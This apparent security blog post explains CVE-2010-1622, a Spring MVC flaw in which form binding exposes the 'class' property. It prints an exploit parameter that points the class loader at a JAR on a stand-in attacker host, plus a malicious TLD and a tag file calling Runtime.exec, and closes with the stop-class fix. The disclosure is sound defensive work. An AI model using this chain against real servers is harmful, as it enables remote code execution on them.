Spring Source has recently
published an advisory on CVE-2010-1622, so I figured I'd provide more details since other projects may be affected in similar ways due to incorrect usage of Java Beans API.
Java Beans API
Java Beans API's
Introspector class provides 2 methods to obtain bean information of a class:
BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)
Calling
getBeanInfo() on a bean(POJO) without supplying a
stopClass will result in
BeanInfo's
PropertyDescriptor array containing properties of the
Object.class, which all Java classes have as their superclass. Example:
public class Person {
private String firstName;
private String lastName;
public String getFirstName();
public void setFirstName(String firstName);
public String getLastName();
public void setLastName(String lastName);
}
...
public static void main(String[] args) throws Exception {
BeanInfo info = Introspector.getBeanInfo(Person.class);
PropertyDescriptor[] properties =
info.getPropertyDescriptors();
for (PropertyDescriptor pd : properties) {
System.out.println("Property: " + pd.getName());
}
}
...
The output is:
Property: class
Property: firstName
Property: lastName
firstName and
lastName are expected but the
class property corresponds to the
Object.getClass() method, which returns
Class. If we call
Introspector.getBeanInfo(Class.class) we'll get a lot more properties:
Property: annotation
Property: annotations
Property: anonymousClass
Property: array
Property: canonicalName
Property: class
Property: classLoader
Property: classes
Property: componentType
Property: constructors
Property: declaredAnnotations
Property: declaredClasses
Property: declaredConstructors
Property: declaredFields
Property: declaredMethods
Property: declaringClass
Property: enclosingClass
Property: enclosingConstructor
...
Spring Beans
Spring MVC allows developers to associate an object that represents HTML form input (form backing object). Whenever user submits a form Spring MVC dynamically pre-populates all the fields of the backing objects based on parameters names. Example:
POST /adduser HTTP/1.0
...
firstName=Tavis&lastName=Ormandy
will result in Spring (Spring Beans component) enumerating available properties of the form backing object and setting them if there's a match in a user submitted request. In the request above, if Person is our form's backing object, then the
firstName and
lastName properties will be set to the corresponding values. To support more complex classes Spring also supports dot notation, so
user.address.street=Disclosure+Str. will be an equivalent of:
frmObj.getUser().getAddress().setStreet("Disclosure Str.")
The problem is that Spring Beans'
CachedIntrospectionResults class that enumerates properties available to be set from user's form submission uses
java.beans.Introspector.getBeanInfo() without specifying a stop class, which means that '
class' property and everything after it is available for setting from HTTP requests.
Attack
If an attacker submits HTTP request to a form controller with the following HTTP parameter:
POST /adduser HTTP/1.0
...
class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
she will overwrite 0th element in the array returned by
frmObj.getClass().getClassLoader().getURLs() with her own URL.
Which class loader will it be?
In the case of Apache Tomcat it's
org.apache.catalina.loader.WebappClassLoader
What's the deal with [0]?
Spring Framework automatically handles arrays and other collections (List, Map, etc). It can also automatically convert String to more complex types e.g. to
java.io.File,
java.net.URL, etc.
What's the deal with jar:http://...!/ URL?
Java's URL class automatically handles http:// JAR URLs just like it handles file:// URLs, it retrieves remote JAR transparently to the caller.
Where will the attacker's URL be used?
It turned out that Jasper's
TldLocationsCache will use URLs returned by its class loader (the one the attacker modified above) to resolve Tag Library Descriptor (TLD) files when compiling JSP files. TLD files define custom tags and classes that implement them. In addition to classes, TLD files support
tag files, which are essentially JSP files (plaintext file with Java code enclosed in
<%...%>). In the attack above the attacker supplies a URL of a JAR file that contains modified
spring-form.tld file which will define Spring's custom form tags as being implemented by tag files:
/META-INF/spring-form.tld which defines form:input and form:form tags:
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
/META-INF/tags/InputTag.tag:
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>
When Jasper will be resolving Spring form tag libraries referenced in a JSP file and will find
spring-form.tld in the attacker supplied JAR then all of the tag files will be retrieved from that JAR file as well. These tag files will be later "called" (compiled and executed) to provide implementation of the custom tags and thus let the attacker execute her code.
It should be noted that, based on my quick inspection of the code,
TldLocationsCache gets URLs from class loader only once upon it's initialization and thus, in order for an attack to work with Tomcat+Spring MVC combination, an attacker has to submit her request to overwrite class loader's URLs before any of the JSP pages have been requested, which makes this attack a lot harder to carry out.
How to avoid this bug?
Specify the stop class:
BeanInfo info = Introspector.getBeanInfo(Person.class, Object.class)
Parting thoughts
There's got to be more components out there that use class loader's URLs, which will make the attack easier than the one described above.
There's got to be a way to do something interesting with other '
class' properties still exposed. Spring's fix for this vulnerability was to blacklist '
classLoader' property.
There's a lot more code out there that doesn't specify stop class, some of it has to have security implications.